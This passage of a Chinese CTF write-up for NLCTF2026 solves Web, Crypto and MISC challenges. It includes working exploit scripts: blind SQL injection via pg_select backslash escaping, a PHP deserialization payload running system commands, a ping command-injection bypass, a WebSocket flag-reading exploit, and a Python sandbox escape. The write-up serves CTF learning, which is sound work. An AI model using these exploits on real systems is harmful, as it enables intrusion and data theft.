2026-08-18
靶场题解吗?
00
请注意,本文编写于 88 天前,最后修改于 88 天前,其中某些信息可能已经过时。

目录

Web方向
[NLCTF2026] ezphp
CVE-2026-17543 - pg_select 反斜杠逃逸
[NLCTF2026] unserialize
[NLCTF2026] LamentXU's chal
Payload
Flag
[NLCTF2026] lets_goooooo
[NLCTF2026] little_Java
Flag
[NLCTF2026] signin
与旧题的区别
Crypto方向
[NLCTF2026] babyrsa
第二步:理解 Håstad 广播攻击
第三步:收集 (n, c) 对
第四步:编写解题脚本
Flag
[NLCTF2026] 🍼
ECDSA 签名公式
反解 nonce
利用等差数列关系
复现步骤
Step 1: 提取数据
Step 2: 计算消息哈希
Step 3: 恢复私钥
Step 4: 验证私钥
Step 5: 解密 flag
MISC方向
[NLCTF2026] 全网呼叫Typhon
完整Exploit
Flag
[NLCTF2026] Nailoong_Bike
分析附件
firmware_note.txt
bike_algo.c
连接服务器
获取 Nonce
获取 Seed
第五步:计算 Key
发送 Key
获取 Flag
发送流控帧
脚本
Flag
[NLCTF2026] free wifi
Step 2: 分析 HTTP 流量
Step 3: 提取 DNS 查询
Step 4: Wireshark 导出 DNS 数据
Step 5: 提取并拼接十六进制数据
Step 6: XOR 解密
[NLCTF2026] w3lc0m3
PWN方向
[NLCTF2026] BabySandbox
1. 二进制分析
基本信息
程序逻辑 (main)
Seccomp规则分析 (init_sandbox)
2. 绕过思路
3. 完整Exploit
[NLCTF2026] ezpwn
feedback() — 格式化字符串漏洞
query() — 栈溢出
确定格式化字符串的栈偏移
泄露 libc 地址(puts@GOT)
泄露 canary
ROP 链构造
完整 Exploit
REVERSE方向
[NLCTF2026] base64
WP: 这base64为什么解不出来啊
1. 查看文件基本信息
2. 提取程序中的字符串
3. 找出自定义 base64 表
4. 解码
[NLCTF2026] driv3r
0. 文件识别
1. 初步分析 — 提取关键字符串
2. 反汇编分析
2.1 IOCTL 分发逻辑
2.2 协议流程
2.3 核心数据结构
3. 密码学算法逆向
3.1 Rotl32 — 32 位循环左移
3.2 Rotl8 — 8 位循环左移
3.3 Driv3rMixTicket — 混淆哈希函数
3.4 Driv3rStaticKeyByte — 静态密钥字节 ⭐
3.5 Driv3rNonceMaskByte — 动态 nonce 掩码
3.6 Driv3rRebuildRuntimeBlob — 重建运行时数据
4. 定位编码数据
4.1 PE 段表分析
4.2 关键地址映射
4.3 提取编码数据
5. 静态密钥即可解密
6. 解密脚本
[NLCTF2026] teaforfun
1.1 文件识别
1.2 main 函数 (0x1400018bf)
2. 状态机分析
2.1 insane_process (0x140001850)
2.2 state_init (0x1400014b2)
2.3 stateloopcheck (0x14000151e)
3. 核心加密逻辑 (stateroundinsane)
3.1 第一阶段:更新状态 (0x14000157b ~ 0x14000161e)
3.2 第二阶段:计算参数 (0x1400015be ~ 0x14000165a)
3.3 Part 1:更新 v[0] (0x14000165d ~ 0x14000172c)
3.4 Part 2:更新 v[1] (0x14000172c ~ 0x14000181e)
3.5 辅助函数
4. 完整加密算法(C 语言还原)
5. 解密算法
6. 求解
7. 验证
7.1 Roundtrip 验证
7.2 二进制验证

Geronimo队奶龙杯wp,ai一把梭


Web方向

[NLCTF2026] ezphp

image-20260815220410436

CVE-2026-17543 - pg_select 反斜杠逃逸

一开始看源码,WAF 拦了 select、union、pg_,pg_select() 又自动转义,但注意到 WAF 没拦反斜杠 \,而且 pg_select() 内部会把值包成 E'...' 格式。

E'...' 是 PostgreSQL 的转义字符串,反斜杠有特殊含义。输入 \' 时:

  • 转义函数把 ' 变成 '',但 \ 原样保留 → \'
  • 包成 E'\' → PostgreSQL 把 \' 解析为转义单引号,字符串提前结束

后面内容就直接变成 SQL 代码了。

这个是正常的

image-20260815213953817

plain
code=\' OR 1=2 -- # url编码恒假

image-20260815214548541

plain
code=\' OR 1=1 -- # url编码恒真

image-20260815214606192

所以成功的

确认有受限文档

\' OR is_public=false --

image-20260815214804162

二分法确定长度

\' OR (is_public=false AND length(share_code)=5 AND length(body)=43) --

image-20260815214934346

上脚本了,这里端口和前面不一样因为前面是写wp特地开的环境

python
import requests import sys URL = "http://challenge.cyclens.tech:32650/api/lookup.php" def check(p): return requests.get(URL, params={"code": p}, timeout=10).json().get("found") def extract(field, cond): # 找长度 for i in range(1, 200): if check(f"\\' OR ({cond} AND length({field})={i}) -- "): print(f" {field} len={i}") break # 二分猜字符 res = "" for pos in range(1, i+1): lo, hi = 32, 126 while lo < hi: mid = (lo+hi)//2 if check(f"\\' OR ({cond} AND ascii(substr({field},{pos},1))>{mid}) -- "): lo = mid+1 else: hi = mid res += chr(lo) sys.stdout.write(chr(lo)); sys.stdout.flush() print() return res cond = "is_public=false AND length(share_code)=5" extract("body", cond)

获得flag

image-20260815215256189

[NLCTF2026] unserialize

这是一道 PHP 反序列化漏洞(Deserialization) 题目

三个类:

  • SecurityValidator:__wakeup() 检查 mode === 'safe',不是就 die
  • CommandExecutor:__destruct() 里 system() 执行命令,但要求 mode !== 'safe'
  • Mutator:__wakeup() 把字符串 ref 改成 "hacked"

矛盾点:mode 不能是 safe(否则 destruct die),也不能不是 safe(否则 wakeup die)。

解法:引用 + 时序差

Mutator->ref 引用 SecurityValidator->mode。反序列化时 SecurityValidator 先重建,wakeup 检查通过(mode='safe');然后 Mutator 重建,wakeup 通过引用把 mode 改成 "hacked"。最后 destruct 时 mode 已经是 hacked,成功执行命令。

发现php版本为8.0.30

image-20260815203143028

通过脚本生成payload,null byte 丢失:private 属性序列化带 \x00,直接复制粘贴会丢,必须用 URL 编码的 payload,这里其实先去看的根目录显示有/flag,但是wc -c /flag 发现只有 1 字节,od -An -tx1 /flag 确认是 0a,所以是个假的,辗转反侧,去找的环境变量

<?php class SecurityValidator { private $mode = 'safe'; private $data = null; public function &getModeRef() { return $this->mode; } } class CommandExecutor { private $validator; private $command = 'echo "Hello"'; private $enabled = false; } class Mutator { public $ref; } $cmd = 'env'; $sv = new SecurityValidator(); $mutator = new Mutator(); $mutator->ref = &$sv->getModeRef(); $ce = new CommandExecutor(); $ref = new ReflectionClass($ce); $p = $ref->getProperty('validator'); $p->setAccessible(true); $p->setValue($ce, $sv); $p = $ref->getProperty('command'); $p->setAccessible(true); $p->setValue($ce, $cmd); $p = $ref->getProperty('enabled'); $p->setAccessible(true); $p->setValue($ce, true); $payload = serialize([$ce, $mutator]); echo urlencode($payload) . "\n";

image-20260815211038520

[NLCTF2026] LamentXU's chal

PHP 类型混淆 bypass

一个 PHP 代码审计,目标是让 grantRole 里 $roleId === 1,但前面有一堆过滤。

代码里用了两个变量:

  • $roleText = trim($rawRole) —— 做所有安全检查
  • $roleId = intval($rawRole) —— 实际传进函数判断

也就是说,只要找到一个字符串,trim 后不等于 "1",但 intval 后是 1,就能绕过。

is_numeric("+1") 是 true,intval("+1") 是 1,但 trim("+1") 是 "+1",不等于 "1",完美绕过所有检查。

并且userId 必须 ≥ 114 个字符

if (strlen($userId) < 114) { exit('user id is too short'); }

Payload

bash
http://challenge.cyclens.tech:31866/?userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=%2B1

image-20260815220256559

Flag

flag{fvl8ti6f-lhqt-4bp-8jny-3bhiky8akvvuy}

[NLCTF2026] lets_goooooo

这题没什么好说的,简单的RCE绕过

go
cmd := exec.CommandContext(ctx, "/bin/sh", "-c", fmt.Sprintf("ping -c 1 -W 1 %s", host))

过滤了这些

go
if strings.ContainsAny(host, " ;|&$`(){}[]<>\\\"") { w.Header().Set("Content-Type", "text/html; charset=utf-8") _ = page.Execute(w, viewData{Output: "blocked: suspicious character detected"}) return }

所以这里直接使用%0a,%09绕过,找了找,还是喜欢把flag藏在环境变量里面

?host=127.0.0.1%0Aenv

image-20260816090119816

[NLCTF2026] little_Java

WebSocket 题,Edge 和 Relay 对"route 怎么成为 route"理解不一致。ws://HOST:8001/gateway,relay.v1 协议,压缩流。

先拿 ticket:

bash
http://target:port/api/bootstrap

image-20260816094140462

然后看源码逻辑,Edge 对 HTTP 握手头要求很死:

  • X-Relay-Route 必须拆成两个独立 header:public 和 recovery
  • Sec-WebSocket-Protocol 第一个必须是 relay.v1
  • Sec-WebSocket-Extensions 必须拆成两个:permessage-deflate 和 client_no_context_takeover

标准库会自动合并同名 header,所以必须手写 TCP 握手。

RelayDraft.processFrame() 里:

java
if (frame.getOpcode() == Opcode.TEXT && !frame.isFin()) { registry.captureOpening(conn, frame.getPayloadData()); }

captureOpening() 只在 FIN=false 的 TEXT 帧才触发。如果你发一个完整的 FIN=true 帧,capability 永远不会被设置,后续全报 workflow denied。

python
#!/usr/bin/env python3 import hashlib, json, struct, os, time, requests, socket, base64 HOST = "challenge.cyclens.tech" PORT = 31420 def build_frame(payload, opcode=0x01, fin=True): mask = os.urandom(4) frame = bytearray() frame.append((0x80 if fin else 0x00) | (opcode & 0x0F)) length = len(payload) if length <= 125: frame.append(0x80 | length) elif length <= 65535: frame.append(0x80 | 126) frame.extend(struct.pack(">H", length)) else: frame.append(0x80 | 127) frame.extend(struct.pack(">Q", length)) frame.extend(mask) frame.extend(bytes(payload[i] ^ mask[i % 4] for i in range(len(payload)))) return bytes(frame) def recv_frame(sock, timeout=5): sock.settimeout(timeout) try: h = sock.recv(2) if len(h) < 2: return None, None opcode = h[0] & 0x0F length = h[1] & 0x7F if length == 126: length = struct.unpack(">H", sock.recv(2))[0] elif length == 127: length = struct.unpack(">Q", sock.recv(8))[0] masked = bool(h[1] & 0x80) if masked: mask = sock.recv(4) payload = b"" while len(payload) < length: payload += sock.recv(length - len(payload)) if masked: payload = bytes(payload[i] ^ mask[i % 4] for i in range(len(payload))) return opcode, payload except: return None, None def main(): data = requests.get(f"http://{HOST}:{PORT}/api/bootstrap").json() ticket, trace = data["ticket"], data["trace"] print(f"[+] ticket: {ticket[:50]}...") print(f"[+] trace: {trace}") sock = socket.create_connection((HOST, PORT), timeout=10) ws_key = base64.b64encode(os.urandom(16)).decode() # 注意:X-Relay-Route 和 Extensions 必须拆成两个独立 header sock.sendall(( f"GET /gateway HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" f"Upgrade: websocket\r\nConnection: Upgrade\r\n" f"Sec-WebSocket-Key: {ws_key}\r\nSec-WebSocket-Version: 13\r\n" f"X-Relay-Route: public\r\n" f"X-Relay-Route: recovery\r\n" f"Sec-WebSocket-Protocol: relay.v1, operator.v1\r\n" f"Sec-WebSocket-Extensions: permessage-deflate\r\n" f"Sec-WebSocket-Extensions: client_no_context_takeover\r\n" f"\r\n" ).encode()) resp = sock.recv(4096) assert b"101" in resp, f"Handshake failed: {resp}" print("[+] WebSocket connected") # 分片发 opening,FIN=false 触发 captureOpening opening = json.dumps({"ticket": ticket, "trace": trace, "phase": "telemetry", "op": "ping"}, separators=(",",":")) sock.sendall(build_frame(opening.encode(), opcode=0x01, fin=False)) sock.sendall(build_frame(b"", opcode=0x00, fin=True)) print("[+] Sent fragmented opening frame") time.sleep(0.3) # PING proof = SHA-256(opening)[:16] proof = hashlib.sha256(opening.encode()).digest()[:16] sock.sendall(build_frame(proof, opcode=0x09, fin=True)) print("[+] Sent ping proof") time.sleep(0.5) # operator 读 flag operator = json.dumps({"trace": trace, "phase": "operator", "op": "readFile", "path": "/tmp/flag"}, separators=(",",":")) sock.sendall(build_frame(operator.encode(), opcode=0x01, fin=True)) print("[+] Sent operator message") while True: opcode, payload = recv_frame(sock, timeout=3) if opcode is None: break if opcode == 0x01: text = payload.decode() print(f"[+] Response: {text}") if "flag{" in text: print(f"\n{'='*50}") print(f" FLAG: {text}") print(f"{'='*50}") break sock.close() if __name__ == "__main__": main()
  1. 写 TCP 做 WebSocket 握手(控制 header 不合并)
  2. 分片发 opening:TEXT+FIN=false 接 CONTINUATION+FIN=true
  3. 发 SHA-256(opening) 前 16 字节作为 PING proof,解锁 recoveryArmed
  4. 发 operator 消息读 /tmp/flag

image-20260816094316271

Flag

flag{ceww9rvg-qubn-4de-8asl-6867l9macphp0}

[NLCTF2026] signin

与旧题的区别

本题(新版本)旧版本
正负号检查str_contains('+', '-') 显式禁止❌ 没有这行
数字合法性preg_match('/[0-9]/') 只要求包含数字is_numeric() 要求整体合法数字

本题的解法可以是传 1a:

  • preg_match('/[0-9]/', '1a') → true(包含数字即可)
  • intval('1a') → 1
http://challenge.cyclens.tech:31866/?userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=1a

获得flag

image-20260816135954149

Crypto方向

[NLCTF2026] babyrsa

浏览器打开题目地址

bash
http://challenge.cyclens.tech:32399/

页面返回:

Dynamic RSA Broadcast Challenge. Request /pub to get (n,c) pairs. Collect 3 and apply Håstad's broadcast attack.

提示信息告诉我们:

  1. 访问 /pub 获取 (n, c) 对

    image-20260815183245467

  2. 收集 3 组

  3. 使用 Håstad's broadcast attack(广播攻击)


第二步:理解 Håstad 广播攻击

Håstad 广播攻击的场景是:

同一条明文 m,用相同的公钥指数 e,但不同的模数 n1, n2, n3 进行 RSA 加密,得到:

c1 = m^e mod n1 c2 = m^e mod n2 c3 = m^e mod n3

当 e = 3 时,收集 3 组就可以通过 中国剩余定理 (CRT) 恢复出 m^e(因为 m^e < n1*n2*n3),然后直接开 e 次方根得到 m。

关键前提:m < min(n1, n2, n3),即明文小于最小的模数,保证 m^e 不会被取模"截断"。


第三步:收集 (n, c) 对

请求 /pub 端点 3 次:

bash
curl http://challenge.cyclens.tech:32399/pub curl http://challenge.cyclens.tech:32399/pub curl http://challenge.cyclens.tech:32399/pub

每次返回一个 JSON,包含 n 和 c(十六进制格式):

json
{"c": "0xd9cb291...", "n": "0xed32b06..."}

记录下 3 组数据(以我获取的一组为例):

n1 = 0xed32b06851747f15e8115c0400ce317c8b1ed1e8ba07cd0243e89764bed20b05969c01e42cbeec1c004f9fd5c06417add744711ffe06a12b0a4726faaf1877701ae06c12d649b50e26db0fbd486a13b4131e517e95694c56fe1090622f98d335b8ddbd888c8351ea484fdf90590153c4a5d15f2ec04871bbe37872368618a5c7 c1 = 0xd9cb2918c0c15bcc85a179b154c798e0f5d819d82bb6ea1622874be1f6e3af5f06acdbdd1ed3932bc98b0311a3f3f1c0ecc41b4ec9a306480b65024eb53ee9ce55a6e65361fdac673e43446eca0a6dec809484eae3463b17e302379ab0aa85e9444cf51bdc4ccd0d2d2175b939b0761d43e0230ca50f725d2d4d6105d3e9fad8 n2 = 0xe0b5ee712265dcd818dc840f2dd2b1fc6ce4efbf9783cb42ae3f233ea465b11b82081605f6eb1f626b24239dd63a430380f596d73971559fb5b5c431e52f0010a7b9e1cdbedacb839c152b2c365755b3316e2ae9d0d2adb03d6983e17b33d2294c6ed79d47c46ac731225d23c14cc367b8621182c6689de6a854889e7be28981 c2 = 0x96c3b9fe2815db08c7db3cc9c72604b10d0b35d2ea37f55b200df64d0e82154649ec93ec17c9bd47336e2b160373ed60b734e37ff8d3bef8ab81cd5e1b9ce56d68670b8f06650f46d7640d668ac1947f2c2f62c8fdafb9e8f0f857485f1ec1411cd74713db911a6da84919d2b9e29bb72970d6a476439f3de4bd066b72cf68ea n3 = 0xa4f53e192f21e314162c0d621f76d69d43709ca0886e16a9e7736404472b1317c0657719268c0558887c3cd635c75af50193148ed0e7abace83a18028df5aecfeb6b73c8c2a4c9caa2a9a0a2a9c7de2f3dd16e31b3f5fb91f84dc358f8250caea00c244be8e8d4f235cddd2f05fc064d3817d8dd4d0c81cd5a6163cb68e648c1 c3 = 0x300b2de0313334478b1c7f3c83abc1829440f814a6e2769cbc53dcf2ab77b89a6be62c96916043ca1da24563517552a683ff8d999c97a34e2bee3a4ccbc00cd925e9b25a21ce50d56573c09eb101cb119b5176e2544a56931643033c8480ce8d5ba3f89a34fa8c235fd9ffe7cf07972c57451b5e66c94bb19672c98cd01b2289

注意:该题是动态的,每次访问 /pub 得到的值不同,但解题方法一样。


第四步:编写解题脚本

创建 solve.py:

python
import gmpy2 from gmpy2 import mpz import json import urllib.request import sys # ===== 1. 自动获取 3 组 (n, c) ===== pairs = [] for i in range(3): resp = urllib.request.urlopen("http://challenge.cyclens.tech:32399/pub") data = json.loads(resp.read()) n = mpz(data['n'], 16) c = mpz(data['c'], 16) pairs.append((n, c)) print(f"[*] Pair {i+1}: n = {hex(n)[:40]}..., c = {hex(c)[:40]}...") n1, c1 = pairs[0] n2, c2 = pairs[1] n3, c3 = pairs[2] # ===== 2. 用中国剩余定理 (CRT) 恢复 m^e ===== # CRT 求解方程组: # x ≡ c1 (mod n1) # x ≡ c2 (mod n2) # x ≡ c3 (mod n3) N = n1 * n2 * n3 N1, N2, N3 = N // n1, N // n2, N // n3 y1 = gmpy2.invert(N1, n1) y2 = gmpy2.invert(N2, n2) y3 = gmpy2.invert(N3, n3) m_e = (c1 * N1 * y1 + c2 * N2 * y2 + c3 * N3 * y3) % N # 验证 CRT 结果 assert m_e % n1 == c1, "CRT verification failed for n1" assert m_e % n2 == c2, "CRT verification failed for n2" assert m_e % n3 == c3, "CRT verification failed for n3" print("[+] CRT 验证通过") # ===== 3. 开 e 次方根 ===== # 题目提示 e=3,但也可能是其他值,尝试常见 e for e in range(2, 20): m, exact = gmpy2.iroot(m_e, e) if exact: print(f"[+] 找到精确的第 {e} 次方根!e = {e}") m = int(m) m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big') print(f"[+] Flag: {m_bytes.decode()}") sys.exit(0) print("[-] 未找到精确的整数次方根")

Flag

flag{we69n3lv-be85-4hd-824w-3ijcsqticm8np}

[NLCTF2026] 🍼

脚本实现了一个基于 secp256k1 椭圆曲线的签名和加密系统:

  1. 随机生成一个私钥 d
  2. 用三个线性递推的 nonce 对三条消息进行 ECDSA 签名
  3. 用私钥对 flag 做 XOR 流加密

输出文件 output.txt 包含:加密后的 flag、三条消息及其签名 (r, s)。

核心问题在 task.py:74-75:

python
for index, message in enumerate(messages): nonce = (first_nonce + index * increment) % N

三个 nonce 构成等差数列:

k_0 = first_nonce k_1 = first_nonce + increment k_2 = first_nonce + 2 * increment

满足 k_2 - k_1 = k_1 - k_0,即 2·k_1 = k_0 + k_2 (mod N)。

ECDSA 签名公式

对每条消息,签名过程为:

z_i = SHA256(message_i) // 消息哈希 r_i = (k_i · G).x mod N // nonce 的椭圆曲线点 x 坐标 s_i = k_i^(-1) · (z_i + r_i · d) mod N

其中 d 是私钥,k_i 是 nonce。

反解 nonce

从签名公式可以反解出 nonce:

k_i = s_i^(-1) · (z_i + r_i · d) mod N

利用等差数列关系

因为 2·k_1 = k_0 + k_2 (mod N),代入:

2 · s_1^(-1) · (z_1 + r_1 · d) = s_0^(-1) · (z_0 + r_0 · d) + s_2^(-1) · (z_2 + r_2 · d) (mod N)

展开整理,把含 d 的项移到左边:

d · (2·r_1·s_1^(-1) - r_0·s_0^(-1) - r_2·s_2^(-1)) = z_0·s_0^(-1) + z_2·s_2^(-1) - 2·z_1·s_1^(-1) (mod N)

因此:

d = (z_0·s_0^(-1) + z_2·s_2^(-1) - 2·z_1·s_1^(-1)) · (2·r_1·s_1^(-1) - r_0·s_0^(-1) - r_2·s_2^(-1))^(-1) mod N

复现步骤

Step 1: 提取数据

从 output.txt 中取出所有数值:

encrypted_flag = c448e99541a8336401c846816105c19be3870e48c80385a22e2d29cd886e7472977e930cde2399b2d5fb message_1 = The formula was changed at 08:00. r_1 = 65049822350966932011298934114289904515865496782440722029795500440883520338534 s_1 = 100608169770347717972106429028463000806487293192131952709224642465583570516580 message_2 = Do not reuse the old starter culture. r_2 = 92756252265060314461255136684718836924443796463608387067614503909037430857587 s_2 = 89196366574574457770176156726838488317517463979668061585678672599486198457015 message_3 = The next batch needs exactly three signatures. r_3 = 31948759506074605924676711292860385681345545545112383536856476730642567952767 s_3 = 102790519568478717091382156526601044304877460541578979733346906916332777610816

Step 2: 计算消息哈希

python
import hashlib messages = [ b"The formula was changed at 08:00.", b"Do not reuse the old starter culture.", b"The next batch needs exactly three signatures.", ] z = [int.from_bytes(hashlib.sha256(m).digest(), "big") for m in messages]

Step 3: 恢复私钥

python
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 inv_s0 = pow(s_1, -1, N) inv_s1 = pow(s_2, -1, N) inv_s2 = pow(s_3, -1, N) coeff_d = (2 * r_2 * inv_s1 - r_1 * inv_s0 - r_3 * inv_s2) % N const_term = (z[0] * inv_s0 + z[2] * inv_s2 - 2 * z[1] * inv_s1) % N d = const_term * pow(coeff_d, -1, N) % N print(f"私钥 d = {d}")

Step 4: 验证私钥

用恢复的私钥重新计算第一个签名,检查 r 是否匹配:

python
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F G = ( 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8, ) def point_add(left, right): if left is None: return right if right is None: return left x1, y1 = left x2, y2 = right if x1 == x2 and (y1 + y2) % P == 0: return None if left == right: slope = (3 * x1 * x1) * pow(2 * y1, -1, P) % P else: slope = (y2 - y1) * pow(x2 - x1, -1, P) % P x3 = (slope * slope - x1 - x2) % P return x3, (slope * (x1 - x3) - y1) % P def scalar_mult(scalar, point): result = None while scalar: if scalar & 1: result = point_add(result, point) point = point_add(point, point) scalar >>= 1 return result # 用私钥反推第一个 nonce k0 = ((z[0] + r_1 * d) * inv_s0) % N r0_check = scalar_mult(k0, G)[0] % N assert r0_check == r_1, "私钥恢复失败" print("私钥验证通过 ✓")

Step 5: 解密 flag

python
def crypt(data, private_key): seed = hashlib.sha256(private_key.to_bytes(32, "big")).digest() result = bytearray() counter = 0 while len(result) < len(data): result.extend(hashlib.sha256(seed + counter.to_bytes(4, "big")).digest()) counter += 1 return bytes(left ^ right for left, right in zip(data, result)) encrypted_flag = bytes.fromhex("c448e99541a8336401c846816105c19be3870e48c80385a22e2d29cd886e7472977e930cde2399b2d5fb") flag = crypt(encrypted_flag, d) print(f"Flag: {flag.decode()}")

将以上所有步骤合并为一个脚本即可直接运行,输出:

私钥 d = 105550276366361429612911318162415698546308980706867766284800132918932356080022 私钥验证通过 ✓ Flag: flag{3f7f4ca9-5c20-4ac9-ae16-4a6f83d318ef}

MISC方向

[NLCTF2026] 全网呼叫Typhon

连接服务后看到是一个Python沙箱,核心逻辑:

python
# 闭包中藏着真正的flag def make_box(): alpha = "not_the_right_cell" omega = _river.environ.get("FLAG", "flag{local_test_flag}") # ← 真flag zulu = "flag{another_fake_flag_in_a_cell}" class Box: def ping(self): return (len(alpha) ^ len(omega) ^ len(zulu)) & 7 return Box() box = make_box() del make_box # 删掉函数引用 del _river # 删掉os模块

用户输入经过三重检查后 eval:

python
check_raw(expr) # 检查原始字符串是否含禁词(BANLIST) check_ast(expr) # AST白名单:只允许 render() 调用、常量、BinOp(Add/Mult) result = eval(expr, {"__builtins__": {}}, {"render": render})

render 函数使用 template.format(box=box), 可以通过格式化字符串访问 box 的属性。

输出还有审计:

python
def audit_output(s): if "flag{" in s.lower(): return "[audit] sensitive output blocked" # 拦截flag

服务是 TCP socket,不是 HTTP。用 socket 连接:

python
import socket s = socket.socket() s.connect(('challenge.cyclens.tech', 31778)) s.recv(4096) # 接收 banner s.sendall(b'render("hello")\n') print(s.recv(4096)) # 输出: hello

用 \xNN 编码绕过 BANLIST

BANLIST 禁了 __, class, globals, closure, cell, contents 等词。

check_raw检查的是原始输入字符串,而ast.parse会把字符串字面量中的\xNN` 转义解释成对应字符。

所以发送 \x5f\x5f(4个原始字符),check_raw 看不到 __,但 ast.parse 解析后变成 __。

python
# 发送这个原始字符串: render("{box.\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f}") # check_raw 看到的是 \x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f → 没有 __ 和 class # ast.parse 解析后变成: render("{box.__class__}") # 于是成功访问 box.__class__ → <class '__main__.make_box.<locals>.Box'>

AST检查限制每个字符串常量 ≤ 42字符,但允许 BinOp(Add)(字符串拼接):

python
render("part1" + "part2") # 每段 ≤ 42,合并后可达84

模板总长度限制是72字符,所以两段拼接足够。

定位闭包中的flag

  1. box.__class__ → Box类
  2. Box.ping 是普通函数(不是bound method),可以直接访问 __closure__
  3. Box.ping.__closure__ → 3个cell,分别对应 alpha, omega, zulu
  4. Box.ping.__freevars__ → ('alpha', 'omega', 'zulu') 确认 index=1 是 omega(flag)

访问路径:box.__class__.ping.__closure__[1].cell_contents

逐字符提取绕过 audit_output

audit_output 拦截含 flag{ 的输出。但 format 支持索引:

python
"{var[0]}".format(var="flag{xxx}") # → "f"

单个字符不含 flag{,所以逐字符提取可以绕过:

python
# 模板: {box.__class__.ping.__closure__[1].cell_contents[I]} # 拆成两段避免超长: render("{box.__class__.pin" + "g.__closure__[1].cell_contents[0]}") # → "f" render("{box.__class__.pin" + "g.__closure__[1].cell_contents[1]}") # → "l" # ...直到 IndexError

完整Exploit

python
import socket def send_expr(expr): s = socket.socket() s.connect(('challenge.cyclens.tech', 31778)) s.recv(4096) s.sendall((expr + '\n').encode()) data = s.recv(4096) s.close() return data.decode().strip() flag = "" for i in range(100): idx = str(i) p = (r'render("{box.\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f.pin"' r' + "g.\x5f\x5f\x63\x6c\x6f\x73\x75\x72\x65\x5f\x5f[1].' r'\x63\x65\x6c\x6c_\x63ontents[' + idx + r']}")') ch = send_expr(p) if "Nope" in ch: break flag += ch print(f"Flag: {flag}")

image-20260815202109074

Flag

flag{dh7eutpr-35ku-4jj-8ktz-m0fvcg8wxhwfc}

[NLCTF2026] Nailoong_Bike

分析附件

firmware_note.txt

Nailoong Bike test firmware note Protocol: CAN over TCP Request ID: 0x600 Response ID: 0x608 Useful services: 22 F1A0 -> nonce 27 01 -> seed 27 02 -> key 31 01 4242 -> flag routine The test build keeps the key schedule in plain C for workshop debugging.

这是一份固件调试文档,告诉我们:

  • 通信协议是 CAN over TCP(CAN总线协议走TCP传输)
  • 请求CAN ID是 0x600,响应CAN ID是 0x608
  • 有4个UDS诊断服务:
    • 22 F1A0 — 读取nonce(随机数)
    • 27 01 — 请求seed(种子)
    • 27 02 — 发送key(密钥)
    • 31 01 4242 — 触发flag例程

bike_algo.c

c
#include <stdint.h> static uint32_t rol32(uint32_t value, unsigned bits) { bits &= 31U; return (value << bits) | (value >> (32U - bits)); } uint32_t bike_mix32(uint32_t value) { value ^= 0x6e61696c; value = rol32(value, 5); value += 0x1f123bb5; return value; } /* workshop key: key = bike_mix32(seed ^ nonce) */

这是密钥计算算法

  1. 把 seed 和 nonce 异或
  2. XOR 0x6e61696c(ASCII: "nail")
  3. 循环左移5位
  4. 加上 0x1f123bb5

连接服务器

用 netcat 或 telnet 连接:

bash
nc challenge.cyclens.tech 30288

服务器会返回一行提示:

BIKE CAN ready. use lines like 600#0322F1A0

说明文本协议格式是:CANID#十六进制数据,每行一条CAN帧。


获取 Nonce

发送:

600#0322F1A0

解释:

  • 600 = 请求CAN ID
  • 03 = ISO-TP单帧,数据长度3字节
  • 22 F1A0 = UDS ReadDataByIdentifier 服务,读取 DID F1A0(nonce)

服务器返回:

608#0762F1A013572468

解析:

  • 608 = 响应CAN ID
  • 07 = 数据长度7字节
  • 62 = 22的正响应(22 + 0x40)
  • F1A0 = DID
  • 13572468 = nonce = 0x13572468

获取 Seed

发送:

600#022701

解释:27 01 = SecurityAccess服务,子功能01(请求种子)

服务器返回:

608#066701A2942468

解析:

  • 67 = 27的正响应
  • 01 = 子功能
  • A2942468 = seed = 0xA2942468

第五步:计算 Key

python
seed = 0xA2942468 nonce = 0x13572468 # 1. 异或 tmp = seed ^ nonce # = 0xB1C30000 # 2. XOR 0x6e61696c tmp ^= 0x6e61696c # = 0xDFA2696C # 3. 循环左移5位 tmp = rol32(tmp, 5) # = 0xF44D2D39 # 4. 加 0x1f123bb5 tmp = (tmp + 0x1f123bb5) & 0xFFFFFFFF # = 0x135F694E key = 0x135F694E

发送 Key

600#062702135f6950

解释:

  • 06 = 数据长度6字节
  • 27 02 = SecurityAccess,子功能02(发送密钥)
  • 135f6950 = 计算出的key

服务器返回:

608#026702

67 02 = 正响应,认证通过


获取 Flag

发送:

600#0431014242

解释:31 01 4242 = RoutineControl服务,启动例程 0x4242

服务器返回一个 ISO-TP 多帧:

608#102E71014242666C

这是第一帧(First Frame):

  • 10 2E = 第一帧标识 + 总数据长度 0x2E = 46字节
  • 71 01 42 42 66 6C = 前6字节数据(71 = 31的正响应,4242 = 例程ID,666C = flag开头 "fl")

发送流控帧

ISO-TP 多帧需要接收方发送 流控帧(Flow Control) 告诉发送方继续:

600#300000

解释:

  • 30 = 流控帧,FS=0(继续发送)
  • 00 = 无块大小限制
  • 00 = 无帧间延时

服务器随后连续发送6个 连续帧(Consecutive Frame):

608#2161677B75667237 608#22617966762D6230 608#2376352D346F7A2D 608#24386673732D6767 608#256E306965706839 608#26727A67757D

每帧第一字节是序号(21, 22, 23...),去掉后拼接全部数据:

71 01 42 42 66 6C 61 67 7B 75 66 72 37 61 79 66 76 2D 62 30 76 35 2D 34 6F 7A 2D 38 66 73 73 2D 67 67 6E 30 69 65 70 68 39 72 7A 67 75 7D

去掉前4字节 UDS 头(71 01 42 42),剩下的转 ASCII:

